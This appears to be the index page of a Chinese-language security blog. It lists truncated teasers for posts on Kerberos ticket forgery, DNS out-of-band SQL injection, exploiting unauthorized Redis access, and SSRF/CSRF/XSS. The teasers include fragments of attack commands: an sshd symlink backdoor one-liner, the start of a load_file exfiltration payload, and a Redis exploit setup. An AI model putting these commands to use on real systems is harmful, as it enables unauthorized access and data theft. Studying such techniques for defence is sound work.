linux中的/usr/sbin目录
在Linux系统中，/usr/sbin目录通常用于存放系统管理和维护所需的系统命令和工具。它包含了一… 阅读更多 »linux中的/usr/sbin目录
computer
ssh软连接
ln -sf /usr/sbin/sshd /tmp/su /tmp/su -oport=12345… 阅读更多 »ssh软连接
kerbreos认证过程与票据伪造
client：AS，我输入密码了，你看看对不对？ AS：好的，数据库中有你，验证通过了，给你个会话凭… 阅读更多 »kerbreos认证过程与票据伪造
DNS外带sql注入
select load_file(concat('//',(select hex… 阅读更多 »DNS外带sql注入
redis未授权漏洞利用
编译生成so扩展文件 cd /root/ git clone https://github.com/… 阅读更多 »redis未授权漏洞利用
redis客户端搭建与基本操作
wget http://download.redis.io/releases/redis-6.0.3… 阅读更多 »redis客户端搭建与基本操作
linux定时任务创建
/var/spool/cron/crontabs/<用户名> *这是通常cron定时任务… 阅读更多 »linux定时任务创建
kali默认大字典路径（big.txt）
/usr/share/wordlists/dirb
ssrf、csrf和xss漏洞
ssrf SSRF利用了服务器端应用程序对外部资源的访问功能，攻击者可以指定请求的目标URL，并在服… 阅读更多 »ssrf、csrf和xss漏洞
SQL注入原理与预防（一）
参数化查询 <?php // 获取用户输入的关键字 $keyword = $_GET[… 阅读更多 »SQL注入原理与预防（一）